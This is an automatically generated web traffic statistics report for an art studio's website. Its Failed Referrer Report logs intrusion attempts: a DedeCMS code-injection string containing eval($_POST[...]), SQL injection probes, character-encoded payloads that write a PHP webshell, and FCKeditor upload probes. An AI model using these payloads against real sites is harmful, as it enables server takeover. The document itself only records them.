Web Server Statistics for olszewskistudios.com

Program started on Wed, Jul 31 2019 at 2:27 AM.
Analyzed requests from Sat, May 20 2006 at 7:30 AM to Tue, Jul 30 2019 at 2:09 PM (4819.28 days).

General Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Figures in parentheses refer to the 7-day period ending Jul 31 2019 at 2:27 AM.

Successful requests: 34,436,957 (23,272)
Average successful requests per day: 7,145 (3,324)
Successful requests for pages: 1,562,342 (2,324)
Average successful requests for pages per day: 324 (331)
Failed requests: 8,673,340 (8,087)
Redirected requests: 1,371 (0)
Distinct files requested: 2,715 (1,589)
Distinct hosts served: 7,489 (629)
Corrupt logfile lines: 22
Data transferred: 1.28 terabytes (937.31 megabytes)
Average data transferred per day: 278.08 megabytes (133.90 megabytes)

Monthly Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 400 requests for pages or part thereof.

month#reqs#pages 
May 200617730648++
Jun 2006531272012++++++
Jul 2006802682609+++++++
Aug 2006838584086+++++++++++
Sep 20061079973877++++++++++
Oct 2006906552908++++++++
Nov 20061404873962++++++++++
Dec 20061678584738++++++++++++
    
Jan 20072143076369++++++++++++++++
Feb 20071718757199++++++++++++++++++
Mar 20071599987144++++++++++++++++++
Apr 20071676127182++++++++++++++++++
May 20072003337223+++++++++++++++++++
Jun 20071555347215+++++++++++++++++++
Jul 20071892398233+++++++++++++++++++++
Aug 20072051167824++++++++++++++++++++
Sep 20071825587305+++++++++++++++++++
Oct 20071608286366++++++++++++++++
Nov 20071659626746+++++++++++++++++
Dec 20071466617300+++++++++++++++++++
    
Jan 200821003812794++++++++++++++++++++++++++++++++
Feb 20081636889223++++++++++++++++++++++++
Mar 20081709949081+++++++++++++++++++++++
Apr 20081819159368++++++++++++++++++++++++
May 20081671208821+++++++++++++++++++++++
Jun 20081578429053+++++++++++++++++++++++
Jul 20082040559294++++++++++++++++++++++++
Aug 20081748438698++++++++++++++++++++++
Sep 200819690800++
Oct 200800
Nov 200800
Dec 200800
    
Jan 200900
Feb 200900
Mar 200900
Apr 200900
May 200900
Jun 200900
Jul 200900
Aug 200900
Sep 200900
Oct 200900
Nov 200900
Dec 200900
    
Jan 201000
Feb 201000
Mar 2010811733765++++++++++
Apr 20101839878756++++++++++++++++++++++
May 20101843158540++++++++++++++++++++++
Jun 20101848938220+++++++++++++++++++++
Jul 20101705377734++++++++++++++++++++
Aug 20101756097894++++++++++++++++++++
Sep 20101977677693++++++++++++++++++++
Oct 20101802408381+++++++++++++++++++++
Nov 2010274921126+++
Dec 201000
    
Jan 201100
Feb 201100
Mar 201100
Apr 201100
May 201100
Jun 201100
Jul 201100
Aug 201100
Sep 201100
Oct 201100
Nov 201100
Dec 201100
    
Jan 201200
Feb 201200
Mar 201200
Apr 201200
May 201200
Jun 201200
Jul 201200
Aug 201200
Sep 201200
Oct 201200
Nov 201200
Dec 201200
    
Jan 201300
Feb 201300
Mar 201300
Apr 201300
May 201300
Jun 201300
Jul 201300
Aug 201300
Sep 201300
Oct 201300
Nov 201300
Dec 201300
    
Jan 201400
Feb 201400
Mar 201400
Apr 201400
May 201400
Jun 201400
Jul 201400
Aug 201400
Sep 201400
Oct 201400
Nov 201400
Dec 201400
    
Jan 201500
Feb 201500
Mar 201500
Apr 201500
May 201500
Jun 201500
Jul 201500
Aug 201500
Sep 201500
Oct 201500
Nov 201500
Dec 201500
    
Jan 201600
Feb 201600
Mar 201600
Apr 201600
May 201600
Jun 201600
Jul 201600
Aug 201600
Sep 201600
Oct 201600
Nov 201600
Dec 201600
    
Jan 201700
Feb 201700
Mar 201700
Apr 201700
May 201700
Jun 201700
Jul 201700
Aug 201700
Sep 201700
Oct 201700
Nov 201700
Dec 201700
    
Jan 201800
Feb 201800
Mar 201800
Apr 201800
May 201800
Jun 201800
Jul 201800
Aug 201800
Sep 201800
Oct 201800
Nov 201800
Dec 201800
    
Jan 201900
Feb 201900
Mar 201900
Apr 201900
May 201900
Jun 201900
Jul 201912507311214+++++++++++++++++++++++++++++

Busiest month: Jan 2008 (12,794 requests for pages).

Daily Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 1,000 requests for pages or part thereof.

day#reqs#pages 
Sun78932538273+++++++++++++++++++++++++++++++++++++++
Mon89841336598+++++++++++++++++++++++++++++++++++++
Tue84471536162+++++++++++++++++++++++++++++++++++++
Wed85768837972++++++++++++++++++++++++++++++++++++++
Thu83637236256+++++++++++++++++++++++++++++++++++++
Fri81721334527+++++++++++++++++++++++++++++++++++
Sat77954841613++++++++++++++++++++++++++++++++++++++++++

Hourly Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 500 requests for pages or part thereof.

hour#reqs#pages 
022294413028+++++++++++++++++++++++++++
11702299257+++++++++++++++++++
21244507118+++++++++++++++
31018665743++++++++++++
4880015455+++++++++++
5879395667++++++++++++
61008306399+++++++++++++
71484607414+++++++++++++++
81888678752++++++++++++++++++
924150610535++++++++++++++++++++++
1027304211238+++++++++++++++++++++++
1131840813238+++++++++++++++++++++++++++
1232215712386+++++++++++++++++++++++++
1332328112640++++++++++++++++++++++++++
1433427312822++++++++++++++++++++++++++
1533225812920++++++++++++++++++++++++++
1632236912650++++++++++++++++++++++++++
1732010012992++++++++++++++++++++++++++
1831713712687++++++++++++++++++++++++++
1931330612822++++++++++++++++++++++++++
2030939712614++++++++++++++++++++++++++
2130327612371+++++++++++++++++++++++++
2228356511853++++++++++++++++++++++++
2327561318800++++++++++++++++++++++++++++++++++++++

Domain Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing domains, sorted by the amount of traffic.

#reqs%bytesdomain
125073100%[unresolved numerical addresses]

Organization Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.

#reqs%bytesorganization
6369 5.49%73
4182 2.98%181.214
3979 3.61%82
3836 3.60%76
3759 2.90%107
3623 2.95%98
3215 2.35%47
3128 2.21%66.249
2700 2.47%71
2451 1.35%40
2195 1.52%99
2137 1.32%207.46
2123 1.60%75
2093 1.72%104
2013 1.67%108
1973 0.81%54
1889 0.79%46
1882 1.05%157.55
1844 1.65%72
1734 1.53%191.101
6794856.41%[not listed: 1,244 organizations]

Failed Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.

#reqsURL
399http://www.olszewskistudios.com/
320https://www.baidu.com/
171http://www.olszewskistudios.com/Catalog.php
147http://olszewskistudios.com/
106http://www.olszewskistudios.com/EnlargedImageofSleepingBeautyFilm60thAnniversary.htm
103http://www.olszewskistudios.com/GalleryofLight.php
91http://www.olszewskistudios.com/WDW28-29Jun08Event.php
90http://www.olszewskistudios.com/uploads/dede/sys_verifies.php
45  http://www.olszewskistudios.com/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\";eval($_POST[ysy]);die();//
45  http://www.olszewskistudios.com/uploads/dede/sys_verifies.php?action=down
89http://www.olszewskistudios.com/admin_aspcms/_system/AspCms_SiteSetting.asp
86http://www.olszewskistudios.com//plus/search.php
58  http://www.olszewskistudios.com//plus/search.php?keyword=as&typeArr[ uNion ]=a
27  http://www.olszewskistudios.com//plus/search.php?keyword=test&typeArr[ uNion ]=a
60http://www.olszewskistudios.com/MainstreetDisneylandCollection.php
53http://www.olszewskistudios.com//data/mysql_error_trace.inc
53http://www.olszewskistudios.com//plus/download.php
27  http://www.olszewskistudios.com//plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=109&arrs2[]=111&arrs2[]=111&arrs2[]=110&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&ar
50http://olszewskistudios.com/admin_aspcms/_system/AspCms_SiteSetting.asp
50http://olszewskistudios.com/uploads/dede/sys_verifies.php
25  http://olszewskistudios.com/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\";eval($_POST[ysy]);die();//
25  http://olszewskistudios.com/uploads/dede/sys_verifies.php?action=down
45http://www.olszewskistudios.com/utility/convert/index.php
45  http://www.olszewskistudios.com/utility/convert/index.php?a=config&source=d7.2_x2.0
45http://www.olszewskistudios.com/fdgq.php
45http://www.olszewskistudios.com/plus/90sec.php
45http://www.olszewskistudios.com/utility/convert/data/config.inc.php
45http://www.olszewskistudios.com/ysyqq.php
45http://www.olszewskistudios.com/plus/moon.php
44http://www.olszewskistudios.com/FCKeditor/editor/filemanager/connectors/asp/connector.asp
44  http://www.olszewskistudios.com/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=FileUpload&Type=File&CurrentFolder=/
44http://www.olszewskistudios.com/plus/download.php
44  http://www.olszewskistudios.com/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=109&arrs2[]=111&arrs2[]=111&arrs2[]=110&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&ar
42http://www.olszewskistudios.com/e/DoInfo/ecms.php
41http://www.olszewskistudios.com/PastAnnouncements.htm
41http://www.olszewskistudios.com/OlszewskiPokitPalsCollection.php
35http://www.olszewskistudios.com/1994-TodayArt.php
35http://olszewskistudios.com/favicon.ico
34http://www.olszewskistudios.com//plus/mytag_js.php
27  http://www.olszewskistudios.com//plus/mytag_js.php?dopost=saveedit&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=57&arrs2[]=48&arrs2[]=44&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=39&arrs2[]=39&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=109&arrs2[]=115&arrs2[]=32&arrs2[]=53&arrs2[]=46&arrs2[]=55&arrs2[]=32&arrs2[]=48&arrs2[]=100&arrs2[]=97&arrs2[]=121&arrs2[]=60&arrs2[]=98&arrs2[]=114&arrs2[]=62&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=44&
32http://mail.olszewskistudios.com/GalleryofLight.php
1820[not listed: 578 URLs]

Referring Site Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring sites by the number of requests, sorted by the number of requests.

#reqssite
62145http://www.olszewskistudios.com/
9517http://olszewskistudios.com/
3279http://mail.olszewskistudios.com/
1816https://www.google.com/
508https://www.bing.com/
104https://images.search.yahoo.com/
101http://disneyshowcasekey.blogspot.com/
66http://www.google.com/
58http://www.baidu.com/
35https://www.google.co.uk/
32https://r.search.aol.com/
26https://search.aol.com/
25https://r.search.yahoo.com/
24http://www.bing.com/
21android-app://com.google.android.gm/
20https://www.google.ca/
20https://www.google.de/
17https://search.yahoo.com/
14https://duckduckgo.com/
12https://www.google.co.jp/
11https://yandex.ru/
9http://www.disneycentralplaza.com/
9https://cn.bing.com/
9https://voloslove.ru/
9https://kursy-ege.ru/
9https://goldsoch.com/
9http://l.facebook.com/
9https://www.minidorp.nl/
9https://solitaire-game.ru/
9https://www.google.se/
400[not listed: 132 sites]

Search Word Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing query words, sorted by the number of requests.

#reqssearch term
1semalt.com

Browser Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.

#reqs#pagesbrowser
215161568Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1
7217877Mozilla/5.0 (iPad; CPU OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1
4874674Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
2057561The Knowledge AI
824539Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Mobile/15E148 Safari/604.1
1524452Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
1369293Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
898278Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
1102271Mozilla/5.0 (iPhone; CPU iPhone OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
874232Mozilla/5.0 (compatible; LinkpadBot/1.12; +http://www.linkpad.ru)
978211ZoominfoBot (zoominfobot at zoominfo dot com)
198198Apache-HttpClient/4.5.2 (Java/1.8.0_151)
669191Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)
1209182Mozilla/5.0 (compatible; SemrushBot/3~bl; +http://www.semrush.com/bot.html)
962163Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko)
500160Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)
348140Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
217127Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko)
1198117Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
526109Mozilla/5.0 (compatible; SeznamBot/3.2; +http://napoveda.seznam.cz/en/seznambot-intro/)
150105Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko)
26199Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
42091Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
434889Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E)
38888Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:52.0) Gecko/20100101 Firefox/52.0
29582Mozilla/5.0 (compatible; Qwantify/2.4w; +https://www.qwant.com/)/2.4w
39882Mozilla/5.0 (compatible; FemtosearchBot/1.0; http://femtosearch.com)
184378Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1
21976Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
32872Java/1.8.0_201
6665Mozilla/5.0 (iPad; CPU OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
400863Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
6161Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)
409359Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
10957Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko)
17454Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
6552Mozilla/5.0 (Windows x86; rv:19.0) Gecko/20100101 Firefox/19.0
5351Mozilla/5.0 (iPad; CPU OS 12_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1
210350Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
197549Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
544582406[not listed: 1,212 browsers]

Browser Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.

##reqs#pagesbrowser
1842085486Safari
 398923697  Safari/604
 358491245  Safari/537
 803210  Safari/600
 1301117  Safari/9537
 3909107  Safari/605
 79627  Safari/601
 2020  Safari/531
 32118  Safari/603
 106616  Safari/602
 15113  Safari/534
2141952727Netscape (compatible)
35887603Mozilla
 22  Mozilla/1
 21  Mozilla/0
42057561The Knowledge AI
58820472Firefox
 45093  Firefox/52
 300961  Firefox/67
 6552  Firefox/19
 285145  Firefox/68
 21936  Firefox/43
 56234  Firefox/26
 1212  Firefox/59
 1212  Firefox/47
 22012  Firefox/66
 3811  Firefox/58
65991445MSIE
 543149  MSIE/10
 357112  MSIE/6
 435393  MSIE/7
 59846  MSIE/9
 3733  MSIE/5
 488  MSIE/8
 533  MSIE/11
7276276Apache-HttpClient
 276276  Apache-HttpClient/4
8978211ZoominfoBot (zoominfobot at zoominfo dot com)
9578127Java
 578127  Java/1
1010043Opera
 1615  Opera/8
 1515  Opera/7
 6610  Opera/9
 33  Opera/6
1115833GarlikCrawler
 15833  GarlikCrawler/1
1211729facebookexternalhit
 11729  facebookexternalhit/1
133724Go-http-client
 3724  Go-http-client/1
145021Sogou web spider
 5021  Sogou web spider/4
153918Dalvik
 3918  Dalvik/2
161212curl
 1212  curl/7
172411python-requests
 2411  python-requests/2
182910WikiDo
 2910  WikiDo/1
1988SuperPagesUrlVerifyBot
 88  SuperPagesUrlVerifyBot/1
2088Ruby
 130347[not listed: 40 browsers]

Operating System Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.

##reqs#pagesOS
1551175016Macintosh
2170723327OS unknown
3362941393Windows
 14168692  Unknown Windows
 21041497  Windows NT
 1021142  Windows XP
 3232  Windows Server 2003
 1515  Windows 2000
 1212  Windows 95
 33  Windows ME
 20  Windows 3.1
43222840Known robots
513170596Unix
 12803590  Linux
 3676  Other Unix

Status Code Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.

#reqsstatus code
123869200 OK
59206 Partial content
3301 Document moved permanently
1145304 Not modified since last retrieval
209057404 Document not found

File Size Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

size#reqs%bytes
01299 
1B- 10B14 
11B- 100B6 
101B- 1kB6883 0.06%
1kB- 10kB10058 1.02%
10kB-100kB10354075.19%
100kB- 1MB325421.87%
1MB- 10MB19 1.87%

File Type Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Failed Referrer Report | Referring Site Report | Search Word Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.

#reqs%bytesextension
7120559.09%.jpg [JPEG graphics]
3199032.31%.php [PHP]
6234 3.89%[directories]
25 1.62%.pdf [Adobe Portable Document Format]
1386 1.00%.jpeg [JPEG graphics]
982 0.62%.JPG
4739 0.50%.htm [Hypertext Markup Language]
4 0.28%.wmv
1759 0.23%.css [Cascading Style Sheets]
3119 0.16%.gif [GIF graphics]
1540 0.10%.png [PNG graphics]
2090 0.19%[not listed: 9 extensions]

Directory Report

